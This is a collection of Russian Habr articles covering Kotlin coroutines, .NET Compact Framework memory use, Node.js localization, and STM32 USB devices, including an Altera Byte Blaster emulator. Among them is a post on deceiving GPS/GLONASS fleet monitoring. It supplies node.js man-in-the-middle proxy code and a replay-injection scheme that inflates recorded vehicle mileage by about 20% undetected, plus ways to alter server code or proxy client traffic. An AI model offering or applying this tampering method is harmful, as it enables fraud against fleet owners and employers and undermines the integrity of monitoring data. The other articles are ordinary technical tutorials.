// 16:04:58 [INFO ] You again on main thread!!!
```
Убедились, что всё работает, теперь пора сделать загрузку. Создаем фабрику:
```
class ServerDispatcherFactory : MainDispatcherFactory {
override val loadPriority: Int = Int.MAX_VALUE
override fun createDispatcher(
allFactories: List,
): MainCoroutineDispatcher = ServerDispatcher(invokeImmediately = false)
}
```
Идём в ресурсы и кладем файл `kotlinx.coroutines.internal.MainDispatcherFactory` в *META-INF/services* с содержимым:
```
dev.israpil.coroutines.mygameserver.ServerDispatcherFactory
```
Проверяем:
```
val scope = CoroutineScope(Dispatchers.Main.immediate + SupervisorJob())
scope.launch {
logger.info("First message from coroutine!!")
delay(3000)
logger.info("Message from coroutine after 3000ms delay on ${Thread.currentThread().name} thread!")
withContext(Dispatchers.IO) {
logger.info("Message from other context: ${Thread.currentThread().name}")
}
logger.info("You again on ${Thread.currentThread().name} thread!!!")
}
// Результат:
// 16:04:55 [INFO ] First message from coroutine!!
// 16:04:58 [INFO ] Message from coroutine after 3000ms delay on main thread!
// 16:04:58 [INFO ] Message from other context: DefaultDispatcher-worker-1
// 16:04:58 [INFO ] You again on main thread!!!
```
Наслаждаемся корутинами. | https://habr.com/ru/post/680946/ | null | ru | null |
# Как обмануть GPS Глонасс без вандализма
Сразу оговорюсь: мы не будем ломать приборы, глушить сигнал или сливать топливо через обратку. В данном посте хочу без лишних технических подробностей рассказать, как можно увеличить пробег по приборам мониторинга. При этом не меняя маршрут движения транспортных средств. Способы опробованы на практике на двух популярных системах мониторинга.
Во всех случаях нам понадобится компьютер, с постоянным доступом в интернет, на котором мы будем поднимать сервер и прокидывать порты (я использовал nginx+node.js).
### Способ первый (без доступа к серверу мониторинга)
Суть терминала спутникового мониторинга заключается в том, чтобы принимать, записывать и с заданной переодичностью слать свои координаты на сервер мониторинга. Мы попробуем вклиниться между сервером и терминалом. Для этого придется прошить прибор. Как это делается — можно посмотреть на сайте производителя.
Указываем в качестве сервера адрес нашего компьютера. Теперь все данные с прибора приходят не на сервер, а на наш компьютер. В моем случае на порт 7113. Нам нужно прослушивать этот порт, при необходимости модифицировать данные и отправлять их уже на сервер мониторинга. Для этого я написал простенький скрипт на node.js. Скрипт просто вклинивается между клиентом и сервером и выводит пересылаемые данные в консоль.
**Код вашего сервера**
```
var net = require('net');
var server = net.createServer(function(socket) {
var client = new net.Socket();
client.connect(АдресСервера, '7113', function() {
console.log('Connected');
});
socket.on('data', function(data) {
console.log('> ' + data);
client.write(data);
});
client.on('data', function(data) {
console.log('< ' + data);
socket.write(data);
});
});
server.listen(ВашАдрес, '7113');
```
Чтобы увеличить пробег, придется модифицировать данные. Я, например, после каждого десятого сообщения с терминала отправляю на сервер еще одно, немного модифицированное предыдущее сообщение. Для сервера это выглядит, как если бы автомобиль мгновенно остановился отъехал назад, затем также мгновенно поехал вперед. Это самый простой алгоритм увеличивает пробег на 20%. При этом координаты считаются корректными, скорость не увеличивается, а на маршруте этих махинаций не видно, т.к. один маршрут на 100% перекрывает другой.
### Способ второй (с доступом к серверу)
Если доступ к мониторингу осуществляется через веб-интерфейс и у вас есть доступ к коду сервера и этот код не зашифрован — тут даже выдумывать ничего не надо. Модифицируем код так, чтобы он выдавал нам то, что мы хотим.
### Способ третий (пропуск конечного трафика через себя)
Если у вас нет прямого доступа к серверу мониторинга, можно пропустить трафик клиентов через себя. И модифицировать передаваемые данные. Для этого я также воспользовался node.js. При помощи модуля *http* поднимаем сервер:
`var server = http.createServer(function(request, response) {...}).listen(80)`
Где делаем запрос к серверу:
`var proxyRequest = http.request(options)`
В качестве параметров указываем адрес, порт и пр. (пример можно посмотреть на гитхабе). И обрабатываем (при необходимости модифицируем ответ сервера):
`proxyRequest.on('response', function(proxyResponse) {....}`
Вот некоторые способы изменить пробег в программе мониторинга. Если кому интересно, могу написать подробнее.
Данная статья призвана привлечь внимание к безопасности систем мониторинга транспорта | https://habr.com/ru/post/302900/ | null | ru | null |
# Перевод: эффективный способ работы с памятью в Compact Framework
Оригинал статьи находится в блоге [Роба Тиффани](http://blogs.msdn.com/robtiffany/archive/2009/04/09/memmaker-for-the-net-compact-framework.aspx).
Кто-нибудь ещё помнит старые добрые времена DOS, когда мы проводили время, пытаясь выжать более 640Кб для драйверов, программ, резидентов и даже Windows? Такие вещи как QEMM, HIMEM, EMM386.EXE пробуждают у меня теплые воспоминания.
Некоторые из нас даже работали в OS/2, которая выделяла 740Кб для наших DOS-сессий, обеспечивая им вытесняющую многозадачность. Да, я мог запускать несколько DOS-игр одновременно в разных окнах без каких либо проблем. Удивительно, у меня была целая пачка защищённых от сбоев слотов, каждый из которых имел свои 740Кб памяти.
Возвращаясь в сегодняшний день, вы увидите, что Windows CE 5.0 и Windows Mobile 6.x имеют некоторое сходство со своими прадедушками из 80-х и 90-х. 32-битная встраиваемая операционная система, которой мы доверяем управлять нашими Windows телефонами, состоит из пачки слотов, но в отличии от DOS с её 640Кб, ваше приложение получает 32Мб виртуальной памяти. Однако, совершенно как в DOS у вас нет доступа ко всему адресному пространству, потому что другие вещи, такие как системные библиотеки это пространство уже используют.
Недавно я встретил своего хорошего друга Глена Джонса (Glen Jones), который хотел поделиться со мной некоторыми интересными находками. Имейте в виду, дело не только в том, что я считаю Глена и его коллег одними из лучших Compact Framework разарботчиков в мире. Его комманда спроектировала и разработала одно из самых больших и сложных приложений, работающих на Windows Mobile, используя Compact Framework. Как и любые другие компании, которые разрабатывают огромные Windows Mobile приложения, проблемы с нехваткой памяти не обошли и их. **Брайан Пайк (Brian Pike), Один из архитекторов "команды мечты" недавно обнаружил, что если держать в памяти пустой exe-файл, а формы, код, ресурсы и данные хранить в отдельных управляемых сборках, то это уменьшает количество расходуемой виртуальной памяти в занимаемом им слоте, одновременно с этим получая возможность использовать память вне слота в рамках 1Гб разделяемой памяти.**
Чтобы помочь нагляднее разобраться с этим невероятным открытием, я продемонстрирую две иллюстрации, на которых изображена карта использования памяти управляемым приложением, работающим в двух различных вариантах. Приложение, запущенное на эмуляторах, которые вы видите ниже, отображает использование 32 слотов разделяемой виртуальной памяти.Красным отмечена свободная память, синим — использованная, зеленым — зарезервированная. Слот №1 полон системных библиотек и вы не можете не заметить, что у каждого последующего слота есть небольшая синяя область. Это пространство используется системой и управляемыми библиотеками, что означает невозможность получить свои честные 32 мегабайта.
Слева вы видите Compact Framework приложение StandardExe.exe, запущенное в слоте №14. Это простое управляемое приложение содержит в себе битмап размером 2.25Мб в качестве ресурса и форму, на которой этот битмап находится. Если приглядеться, то видно, что 2.25 синих мегабайт находится в нижней части слота №14. Это пространство, занятое нашим exe-файлом.
 
Справа находится OptimizedExe.exe, запущенное в слоте №11. Это совершенно пустой exe-файл. Функция Main вызывает метод статического класса в управляемой DLL и всё. В результате мы получаем exe-файл размером 5 килобайт. В управляемой сборке под названием OptimizedDLL.dll у нас находится всё тот же 2.25 мегабайтный битмап и форма. **Если приглядеться к изображению справа, можно с удивлением обнаружить, что в слоте №11 нет никаких синих участков! А если смотреть ещё пристальнее, то 2.25 мегабайтную сборку невозможно обнаружить где-либо ещё.**
Это достаточно здорово и значительно увеличивает наши возможности. Потенциально становится возможным разработать множество игр и приложений, которые ранее не видывали на Windows телефонах.**Внимание, вопрос. Как это возможно? Это магия?**
Те из вас, кто читал [блог](http://blogs.msdn.com/stevenpr/archive/2005/12/12/502908.aspx) Стивена Пратшнера (Steven Pratschner), знают, что Compact Framework размещает управляемые exe и dll в первом гигабайте разделяемой памяти за пределами слота, в котором выполняется ваше приложение, что, безусловно, замечательно. **А вот что вы могли и не знать, так это то, что операционная система автоматически блокирует в нижней части слота ровно столько памяти, сколько занимает ваш exe-файл.** Таким образом, несмотря на то, что CLR контролирует выполнение приложения и в любовном порыве располагает его в разделяемой памяти, Windows CE отбирает драгоценную порцию памяти, потому как полностью уверена, что именно там и работает наше приложение. **А ведь наше приложение управляемое и его там нет!** Те из вас, у кого есть огромные управляемые exe-файлы, вы теряете огромный кусок памяти в своем слоте, который можно было бы использовать с гораздо большей пользой! Так что первый урок заключается в том, чтобы сделать то, что сделал Брайан — создать пустой exe-файл в виде заглушки, которая запускает приложение из отдельной управляемой сборки.
Ваш пустой exe-файл может выглядеть следующим образом:
> `using System;
>
>
>
> namespace OptimizedExe
>
> {
>
> static class Program
>
> {
>
> ///
>
> /// The main entry point for the application.
>
> ///
>
> [MTAThread]
>
> static void Main()
>
> {
>
> OptimizedDLL.StartUp.Main();
>
> }
>
> }
>
> }
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Библиотека с приложением:
> `using System;
>
> using System.Windows.Forms;
>
>
>
> namespace OptimizedDLL
>
> {
>
> public class StartUp
>
> {
>
> public static void Main()
>
> {
>
> Application.Run(new Main());
>
> }
>
> }
>
> }
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Итак, мы научились обыгрывать Windows CE, играя по её же правилам. Теперь пора поговорить о любопытной ситуации с нашей управляемой сборкой. Если вы читали [блог](http://blogs.msdn.com/hegenderfer/archive/2007/08/31/slaying-the-virtual-memory-monster.aspx) Рида Робинсона (Reed Robinson) про уничтожение монстра в памяти, вы, вероятно, знаете, что библиотеки отъедают память в слотах сверху вних, занимая всё больше и больше, что звучит не очень справедливо. Мы это называем "dll crunch" (скрежет библиотек), потому что свободная память остаётся между библиотеками и exe-файлом. Но у меня есть хорошие новости. Управляемые сборки себя так не ведут! По сути они не только не занимают ни один из слотов, они и ваш основной слот приложения не трогают. Как же это возможно?
**Управляемые сборки не являются полноценными dll!** CLR обращается с ними, как с обычными файлами и загружает их в гигабайт разделяемой памяти. Для Compact Framework управляемые сборки это просто файлы, полные IL-команд, которые не попадают в слот процесса. Теперь вы понимаете, где же находится 2.25 битмап, который мы поместили в OptimizedDLL.dll. Он за границей 32 мегабайтного барьера вашего слота, и тем самым он не расходует драгоценную память!
**Так что же, если я последую этому новому способу, будет ли у меня когда-либо расходоваться виртуальная память, или я получил бесплатный обед?**
Обед точно не бесплатный, но со скидкой. JIT компилятор выполняется в вашем слоте и подгружает IL-код, необходимый для текущего стека вызовов. Ресурсы, которые не нужно компилировать или выполнять, никогда не будут туда загружены. Куча сборщика мусора (GC Heap) также находится в вашем слоте и именно там зависают выделенные вами объекты. В вашем слоте содержится 64Кб стек для нитей (Thread Stack), которые порождает ваш процесс. Там же находится и куча домена приложения (AppDomain Heap), в которой содержатся представления структур, описанных в ваших сборках.
Итак, резюмируя вышесказанное.
1. Можно минимизировать ошибочное выделение неиспользуемой операционной системой памяти, следуя вышеописанному паттерну с расположением всего приложения внутри управляемых сборок, которое будет вызываться из пустого приложения-заглушки. Мы потеряем какие-то 5Кб. Спасибо, Брайан!
2. Размещая управляемые сборки в разделяемой памяти, вы уменьшите вред для других приложений на телефоне, наносимый "библиотечным скрежетом". Это также уменьшит расход памяти в слоте вашего процесса. | https://habr.com/ru/post/60865/ | null | ru | null |
# Локализация приложений Node.js. Часть 1
***От переводчика:** Это девятая статья из [цикла о Node.js](https://hacks.mozilla.org/category/a-node-js-holiday-season/) от команды Mozilla Identity, которая занимается проектом [Persona](http://ru.wikipedia.org/wiki/Mozilla_Persona).
**Все статьи цикла:**1. "[Охотимся за утечками памяти в Node.js](http://habrahabr.ru/company/nordavind/blog/195494/)"
2. "[Нагружаем Node под завязку](http://habrahabr.ru/company/nordavind/blog/195686/)"
3. "[Храним сессии на клиенте, чтобы упростить масштабирование приложения](http://habrahabr.ru/company/nordavind/blog/196018/)"
4. "[Производительность фронтэнда. Часть 1 — конкатенация, компрессия, кэширование](http://habrahabr.ru/company/nordavind/blog/196358/)"
5. "[Пишем сервер, который не падает под нагрузкой](http://habrahabr.ru/company/nordavind/blog/196518/)"
6. "[Производительность фронтэнда. Часть 2 — кешируем динамический контент с помощью etagify](http://habrahabr.ru/company/nordavind/blog/196818/)"
7. "[Приручаем конфигурации веб-приложений с помощью node-convict](http://habrahabr.ru/company/nordavind/blog/197166/)"
8. "[Производительность фронтенда. Часть 3 — оптимизация шрифтов](http://habrahabr.ru/company/nordavind/blog/197370/)"
9. "[Локализация приложений Node.js. Часть 1](http://habrahabr.ru/company/nordavind/blog/197566/)"
10. "[Локализация приложений Node.js. Часть 2: инструментарий и процесс](http://habrahabr.ru/company/nordavind/blog/198154/)"
11. "[Локализация приложений Node.js. Часть 3: локализация в действии](http://habrahabr.ru/company/nordavind/blog/198252/)"
12. "[Awsbox — PaaS-инфраструктура для развёртывания приложений Node.js в облаке Amazon](http://habrahabr.ru/company/nordavind/blog/198590/)"*
---
Знаете ли вы, что продукты и сервисы Mozilla локализованы для 90 языков? Локализация включает в себя:
* текст, переведённый на региональные вариации и диалекты языков;
* рендеринг страниц с учётом написания справа налево;
* пуленепробиваемый дизайн, способный вместить тексты любой длины;
* заголовки, метки и текст на кнопках, подобранные для локальных аудиторий.
В этой серии из трёх статей, посвящённых локализации, я расскажу о технических аспектах создания многоязычного приложения Node.js.
Мы будем использовать общепринятые термины «интернационализация» (i18n) и «локализация» (l10n). Интернационализация — это набор технических приёмов, делающих возможной последующую локализацию, то есть собственно перевод и адаптацию для конкретного языка.
Mozilla Persona — веб-сервис на Node.js, локализованный для множества локалей. У нашей команды были весьма специфические запросы, и поэтому мы не стали использовать существующие библиотеки для локализации.
#### Наши цели
Мы создали несколько модулей чтобы добиться следующих целей:
* хорошей интеграции в существующее сообщество локализаторов и переводчиков Mozilla;
* работы всех инструментов на чистом JavaScript.
Вот модули, которые мы написали:
* i18n-abide
* jsxgettext
* po2json.js
* gobbledygook
[i18n-abide](https://github.com/mozilla/i18n-abide) — главный модуль, который используется для включения переводов в приложение. Давайте сначала разберёмся с ним. В примерах мы предполагаем, что выше приложение использует Express и шаблоны EJS.
#### Установка и подготовка
i18n-abide устанавливается через npm:
```
npm install i18n-abide
```
В код приложения надо включить следующие строки:
```
var i18n = require('i18n-abide');
app.use(i18n.abide({
supported_languages: ['en-US', 'de', 'es', 'zh-TW'],
default_lang: 'en-US',
translation_directory: 'static/i18n'
}));
```
Мы рассмотрим параметры конфигурации модуля в третьей статье серии о локализации. i18n-abide предоставляет несколько функций, которые нужны для перевода. Они доступны в объекте `req` при обработке запроса и в шаблонах.
Следующий шаг — пройтись по коду приложения и найти все места, где пользователю показывается какой-либо текст. Вот как может выглядеть шаблон после этого:
Главная функция, которую добавляет abide — это `gettext()`. Кроме того, добавляются переменные `lang` и `lang_dir`.
* `lang` — это код языка, основанный на настройках браузера и предпочтениях пользователя;
* `lang_dir` — направление текста, слева направо (`ltr`) или справа налево (`rtl`);
* `gettext` — функция, которая принимает английскую строку и возвращает перевод.
Стоит обратить внимание, что говоря о строках, мы имеем в виду строки `gettext`, а не строки JavaScript. Это любые фрагменты текста — надписи, абзацы, элементы интерфейса, которые будут видны пользователю. Если какая-то строка в коде не предназначена для глаз пользователя, то с точки зрения `gettext` она не существует. Другими словами, строки `gettext` — это любые строки, которые нуждаются в переводе.
Вот пример использования `gettext` в файле JavaScript:
```
app.get('/', function(req, res) {
res.render('homepage.ejs', {
title: req.gettext('Hello, World!')
});
});
```
Для того чтобы подготовить приложение к локализации, надо обернуть все строки в вызовы `gettext`.
#### Определение языка
Откуда мы знаем, какой язык предпочитает пользователь? Его определением занимается middleware во время выполнения.
Модуль i18n-abide смотрит на поле `Accept-language` HTTP-запроса. В нем перечислены языки, которые понятны пользователю, в порядке предпочтения.
abide сравнивает это значение со списком поддерживаемых языков, выбирает наилучшее соответствие и отдаёт клиенту локализованную версию страницы. Если подходящего перевода не найдено, подставляются фразы непосредственно из вызовов `gettext` в коде и шаблонах.
#### Заключение
Во второй статье мы рассмотрим, как именно извлекаются, обрабатываются и переводятся строки.
В третьей — более подробно разберёмся с техническими деталями и параметрами конфигурации и протестируем результат локализации.
---
**Все статьи цикла:**1. "[Охотимся за утечками памяти в Node.js](http://habrahabr.ru/company/nordavind/blog/195494/)"
2. "[Нагружаем Node под завязку](http://habrahabr.ru/company/nordavind/blog/195686/)"
3. "[Храним сессии на клиенте, чтобы упростить масштабирование приложения](http://habrahabr.ru/company/nordavind/blog/196018/)"
4. "[Производительность фронтэнда. Часть 1 — конкатенация, компрессия, кэширование](http://habrahabr.ru/company/nordavind/blog/196358/)"
5. "[Пишем сервер, который не падает под нагрузкой](http://habrahabr.ru/company/nordavind/blog/196518/)"
6. "[Производительность фронтэнда. Часть 2 — кешируем динамический контент с помощью etagify](http://habrahabr.ru/company/nordavind/blog/196818/)"
7. "[Приручаем конфигурации веб-приложений с помощью node-convict](http://habrahabr.ru/company/nordavind/blog/197166/)"
8. "[Производительность фронтенда. Часть 3 — оптимизация шрифтов](http://habrahabr.ru/company/nordavind/blog/197370/)"
9. "[Локализация приложений Node.js. Часть 1](http://habrahabr.ru/company/nordavind/blog/197566/)"
10. "[Локализация приложений Node.js. Часть 2: инструментарий и процесс](http://habrahabr.ru/company/nordavind/blog/198154/)"
11. "[Локализация приложений Node.js. Часть 3: локализация в действии](http://habrahabr.ru/company/nordavind/blog/198252/)"
12. "[Awsbox — PaaS-инфраструктура для развёртывания приложений Node.js в облаке Amazon](http://habrahabr.ru/company/nordavind/blog/198590/)" | https://habr.com/ru/post/197566/ | null | ru | null |
# INTEL (Altera) USB Byte Blaster на STM32
Зачастую если в устройстве есть программируемая логика, присутствует и процессор/микроконтроллер.
В какой-то момент мне надоело разводить на платах разъем JTAG, он занимает много места на плате и по сути нужен только для разработки. В конечном устройстве он вообще без надобности.
Очень часто для проверки правильности реализации Verilog кода или вообще "посмотреть как сигнальчики бегают" я использую SignalTap II Logic Analyzer, штука удобная и наглядная, я думаю многие сразу узнают по изображению:
 Но как же отлаживать само устройство и в частности программируемую логику без JTAG?
Я уж молчу о записи прошивок в CPLD на этапе производства.
А у нас есть микроконтроллер.
Возьмем к примеру микроконтроллер STM32F103RCT6 и реализуем в нем USB Byte Blaster. И возьмем CPLD EPM3064.
Разумеется я имею ввиду что микроконтроллер уже подключен к соответствующим выводам программируемой логики, например вот так:
PC12->TDI
PC13->TMS
PC14->TCK
PC15->TDO
USB Устройство начинается с дескриптора, опишем его:
USB Descriptor
```
/* USB Standard Device Descriptor */
const BYTE USB_DeviceDescriptor[] = {
USB_DEVICE_DESC_SIZE, /* bLength */
USB_DEVICE_DESCRIPTOR_TYPE, /* bDescriptorType */
WBVAL(0x0110), /* 1.10 */ /* bcdUSB */
0x00, // Class Code
0x00, // Subclass code
0x00, // Protocol code
USB_MAX_PACKET0, // Max packet size for EP0, see usbcfg.h
WBVAL(0x09FB), /* idVendor */
WBVAL(0x6001), /* idProduct */
WBVAL(0x0400), /* 1.00 */ /* bcdDevice */
0x01, // Manufacturer string index
0x02, // Product string index
0x03, // Device serial number string index
0x01 // Number of possible configurations
};
/* USB Configuration Descriptor */
/* All Descriptors (Configuration, Interface, Endpoint, Class, Vendor */
const BYTE USB_ConfigDescriptor[] = {
/* Configuration Descriptor */
USB_CONFIGUARTION_DESC_SIZE, /* bLength */
USB_CONFIGURATION_DESCRIPTOR_TYPE, /* bDescriptorType */
/* Configuration 1 */
WBVAL( /* wTotalLength */
(1*USB_CONFIGUARTION_DESC_SIZE) +
(1*USB_INTERFACE_DESC_SIZE) +
(2*USB_ENDPOINT_DESC_SIZE)
),
1, // Number of interfaces in this cfg
1, // Index value of this configuration
0, // Configuration string index
USB_CONFIG_SELF_POWERED, /*|*/ /* bmAttributes */
USB_CONFIG_POWER_MA(80), /* bMaxPower */
/* Interface Descriptor */
USB_INTERFACE_DESC_SIZE, /* bLength */
USB_INTERFACE_DESCRIPTOR_TYPE, /* bDescriptorType */
/* Interface 0, Alternate Setting 0, MSC Class */
0x00, /* bInterfaceNumber */
0x00, /* bAlternateSetting */
0x02, /* bNumEndpoints */
0xFF, // Class code
0xFF, // Subclass code
0xFF, // Protocol code
0, // Interface string index
/* Endpoint Descriptor */
/* Bulk In Endpoint */
USB_ENDPOINT_DESC_SIZE, /* bLength */
USB_ENDPOINT_DESCRIPTOR_TYPE, /* bDescriptorType */
USB_ENDPOINT_IN(BLST_EP_IN & 0x0F), /* bEndpointAddress */
USB_ENDPOINT_TYPE_BULK, /* bmAttributes */
WBVAL(BLST_MAX_PACKET), /* wMaxPacketSize */
10, //Interval
USB_ENDPOINT_DESC_SIZE, /* bLength */
USB_ENDPOINT_DESCRIPTOR_TYPE, /* bDescriptorType */
USB_ENDPOINT_OUT(BLST_EP_OUT & 0x0F), /* bEndpointAddress */
USB_ENDPOINT_TYPE_BULK, /* bmAttributes */
WBVAL(BLST_MAX_PACKET), /* wMaxPacketSize */
10 //Interval
/* Terminator */
,0 /* bLength */
};
//Language code string descriptor
ROM struct{BYTE bLength;BYTE bDscType;WORD string[1];}sd000={
sizeof(sd000),USB_STRING_DESCRIPTOR_TYPE,{0x0409}};
//Manufacturer string descriptor
ROM struct{BYTE bLength;BYTE bDscType;WORD string[6];}sd001={
sizeof(sd001),USB_STRING_DESCRIPTOR_TYPE,
{'A','l','t','e','r','a'}};
//Product string descriptor
ROM struct{BYTE bLength;BYTE bDscType;WORD string[11];}sd002={
sizeof(sd002),USB_STRING_DESCRIPTOR_TYPE,
{'U','S','B','-','B','l','a','s','t','e','r'}};
//Serial string descriptor
ROM struct{BYTE bLength;BYTE bDscType;WORD string[8];}sd003={
sizeof(sd003),USB_STRING_DESCRIPTOR_TYPE,
{'0','0','0','0','0','0','0','0'}};
//Array of configuration descriptors
ROM BYTE *ROM USB_CD_Ptr[]=
{
(ROM BYTE *)&USB_ConfigDescriptor
};
//Array of string descriptors
ROM BYTE *ROM USB_SD_Ptr[]=
{
(ROM BYTE *)&sd000,
(ROM BYTE *)&sd001,
(ROM BYTE *)&sd002,
(ROM BYTE *)&sd003
};
/* USB String Descriptor (optional) */
const BYTE *USB_StringDescriptor = (const BYTE *)USB_SD_Ptr;
```
Далее нам нужно прописать саму "начинку" Byte Blaster'a:
blaster.c
```
BYTE fifo_wp,fifo_rp;
BYTE InFIFO[256];
BYTE nCS = 0;
DWORD PacketPos = 0;
BYTE InPacket[64];
BYTE OutPacket[128];
BYTE ep1_ready = 1;
void EP2CallBack(void)
{
ProcBlasterData();
}
void ProcBlasterData(void)
{
int bufptr = 0;
static BYTE jtag_byte = 0, read = 0, aser_byte = 0;
DWORD recv_byte;
BYTE acc0, acc1;
recv_byte = USB_ReadEP(BLST_EP_OUT, OutPacket);
bufptr = 0;
if(!recv_byte) return;
LED_RD_ON();
do
{
if (jtag_byte)
{
if (!read)
{
do
{
acc0 = OutPacket[bufptr++];
JTAG_Write(acc0);
jtag_byte--;
recv_byte--;
} while (jtag_byte && recv_byte);
}
else
{
do
{
acc0 = OutPacket[bufptr++];
acc1 = JTAG_RW(acc0);
enqueue(acc1);
jtag_byte--;
recv_byte--;
} while (jtag_byte&&recv_byte);
}
}
else if (aser_byte)
{
if (!read)
{
do
{
acc0 = OutPacket[bufptr++];
JTAG_Write(acc0);
aser_byte--;
recv_byte--;
} while (aser_byte&&recv_byte);
}
else
{
do {
acc0 = OutPacket[bufptr++];
acc1 = ASer_RW(acc0);
enqueue(acc1);
aser_byte--;
recv_byte--;
} while (aser_byte&&recv_byte);
}
}
else
{
do
{
acc0 = OutPacket[bufptr++];
_bitcopy(bitmask(acc0, 6), read);
if (bitmask(acc0, 7))
{ //EnterSerialMode
LTCK(0); //bug fix
if (nCS & 0x8)
{ //nCS=1:JTAG
jtag_byte = acc0 & 0x3F;
}
else
{ //nCS=0:ActiveSerial
aser_byte = acc0 & 0x3F;
}
/* Always JTAG Made */
recv_byte--;
break;
}
else
{ //BitBangMode
OUTP(acc0);
if (read) {
acc1 = 0;
if (PADO) acc1 |= 0x02;
if (PTDO) acc1 |= 0x01;
enqueue(acc1);
}
recv_byte--;
}
} while (recv_byte);
}
} while (recv_byte);
/* Disable RD LED */
LED_RD_OFF();
return;
}
void EP1CallBack(void)
{
ep1_ready = 1;
return;
}
void OUTP(BYTE b)
{
unsigned int uiPortState = GPIOC->ODR;
/* TCK - 0
TMS - 1
nCE - 2
nCS - 3
x - 5,6
TDI - 4,7
*/
if(b & (1 << 3)) /* nCS */
nCS = 0x08;
else
nCS = 0;
if(b & (1 << 0)) /* TCK */
uiPortState |= (1 << 14);
else
uiPortState &= ~(1 << 14);
if(b & (1 << 1)) /* TMS */
uiPortState |= (1 << 13);
else
uiPortState &= ~(1 << 13);
if(b & (1 << 4)) /* TDI */
uiPortState |= (1 << 12);
else
uiPortState &= ~(1 << 12);
GPIOC->ODR = uiPortState;
// Nop();
return;
}
void JTAG_Write(BYTE a)
{
int i;
for(i = 0;i < 8;i ++)
{
bitcopy(a & (0x01 << i),LTDI);
tck();
}
}
BYTE JTAG_RW(BYTE a)
{
BYTE bRet=0;
int i = 0;
for(i = 0;i < 8;i++)
{
bitcopy(a & (0x01 << i),LTDI);
if(PTDO) bRet |= (0x01 << i);
tck();
}
return bRet;
}
BYTE ASer_RW(BYTE a) {
BYTE bRet=0;
int i = 0;
for(i = 0;i < 8;i++)
{
bitcopy(a & (0x01 << 1),LTDI);
if(PADO) bRet|= (0x01 << 1);
tck();
}
return bRet;
}
extern USB_EP_DATA EP0Data;
BYTE bBuffer[10];
void USB_EP0BlasterReq(USB_SETUP_PACKET *SetupPacket)
{
BYTE bIndex;
if (SetupPacket->bmRequestType.BM.Dir == 0)
{ //0utput
//Responce by sending zero-length packet
//I don't know if this way is right, but working:)
USB_WriteEP(0x80, NULL, 0);
return;
}
if (SetupPacket->bRequest == 0x90)
{
bIndex = (SetupPacket->wIndex.WB.L << 1) & 0x7E;
bBuffer[0] = eeprom_read(bIndex);
bBuffer[1] = eeprom_read(bIndex + 1);
}
else
{
bBuffer[0] = 0x36;
bBuffer[1] = 0x83;
}
EP0Data.pData = bBuffer;
EP0Data.Count = 2;
// USB_WriteEP(0x80, bBuffer, 2);
return;
}
```
И в финале добавим обработчик в нашу программу. Можно это сделать конечно и в таймере, но для наглядности я добавил функцию обработки в main() в бесконечном цикле.
Смотрим код:
main.c
```
while (1)
{
if(USB_Configuration)
{
if(ep1_ready)
{
acc0 = fifo_used();
if (62 <= acc0)
{ //send full packet to host
LED_WR_ON();
ep1_ready = 0;
dequeue(&InPacket[2], 62);
USB_WriteEP(BLST_EP_IN, InPacket, 64);
ChargeTimer_ms(10);
}
else if(acc0 || IsTimerArrived())
{
if(acc0)
LED_WR_ON();
else
LED_WR_OFF();
ep1_ready = 0;
if(acc0)
dequeue(&InPacket[2], acc0);
USB_WriteEP(BLST_EP_IN, InPacket, acc0 + 2);
ChargeTimer_ms(10);
}
}
}
} // end while
```
Собираем всё вместе и компилируем и прошиваем, используя вот такой игровой набор:
И подключаем наше устройство к USB.
И это же конечно ничего не значит. Потому что установка происходит только на основании дескриптора устройства, теперь проверим действительно ли это у нас "настоящий" Byte Blaster.
Выбираем:
И запускаем JTAG Chain Debugger:
Работает!!! Можем писать CPLD прям на борту нашего устройства.
К слову сказать если подключить эту реализацию к FPGA, будет доступна запись в FPGA и SignalTap II. У меня всё.
Спасибо за внимание! Успехов в делах и отличного настроения! | https://habr.com/ru/post/534358/ | null | ru | null |
# STM32 Modular USB Composite device
Проект является логическим продолжением другого проекта на Хабре - [CDC+MSC USB Composite Device на STM32 HAL](https://habr.com/ru/post/335018/) и рассказыват как на STM32 создать проект с несколькими USB устройствами, с читаемой структурой и используя типовые модули. Конкретно рассмотрен пример комбинации **HID** + **CDC UART** + **CDC**, а также рассказано как этот проект возможно расширить другими интерфейсами.
Мотивация
---------
Once upon a time… Появилась задача сделать компактное устройство с USB Serial конвертером на борту плюс немного простых ф-ций. Ок, есть готовая библиотека для STM32. Затем аппетиты стали расти и «немного» простых ф-ций перерасло в полноценное USB HID устройство. Ок, библиотека HID тоже есть, но оказалось, что это не такая уж тривиальная задача объединить два USB устройства на одном интерфейсе. На удачу, на Хабре нашлась статья которая как раз и решала подобную задачу - CDC+MSC USB Composite Device на STM32 HAL (ссылка выше). Спасибо автору за его труд! Все заработало. Однако, аппетиты все росли и росли и добавление дополнительных интерфейсов в том же стиле превращало код в нечто ужасное и не читаемое. То, что нормально смотрелось для двух различных интерфейсов уже для трех, причем два из которых были однотипными, смотрелось совсем плохо. А на горизонте у шефа появлялись все новые и новые фантазии на тему функционала «стмки». Также, поскольку функционал все увеличивался и его отладка становилась сложнее и сложнее, то назрел еще один тип USB Serial устройства для вывода печати и отправки управляющих команд с консоли на сам контроллер. Так появился Internal Control (ICTRL). В общем - наболело и была поставлена новая задача...
Задача
------
На базе ST библиотеки создать каркас на уровне USB HAL, в который можно отдельными блоками добавлять различные функции/устройства по необходимости, без особых изменений в коде самого HAL. В идеале, для добавления нового функционала в проект должен линковаться соответствующий модуль, плюс пара строк в main – инициализация и вызовы в главном цикле.
Для начала, такими блоками были выбраны два наиболее часто используемых типа устройств – HID и USB Serial конвертер. Причем конвертер мог быть как UART, так и I2C, SPI, 1Wire. ICTRL подразумевался во всех последующих устройствах уже по-умолчанию.
Для кого предназначен проект
----------------------------
Описание ниже подразумевает, что читатель полностью прочитал и осознал статью «CDC+MSC USB Composite Device на STM32 HAL», где структура USB HAL библиотеки от ST описана достаточно подробно. Данный проект посвящен именно переходу от структуры предложенной ST к более модульному варианту без разбора основ работы USB. Также предполагается, что у читателя родной язык С или Assembler и в строках кода читаются не буквы, а блоки их связи и взаимозависимости. Для тех у кого программа на микроконтроллере это галочки в автогенераторе или наоборот только запись/чтение регистров, тем будет не просто. Но, как говорится, что нас не убивает, то делает сильнее.
Введение
--------
В качестве примера была выбрана одна из тривиальных конфигураций – USB UART конвертер + HID устройство и еще одно USB Serial устройство для управления самим контроллером и отладочной печати. Основная специфика HID устройства и ICTRL была сознательно опущена и оставлен только минимальный функционал, так сказать на рассаду и чтоб не перегружать код при чтении.
Описание структуры устройства - USB Composite
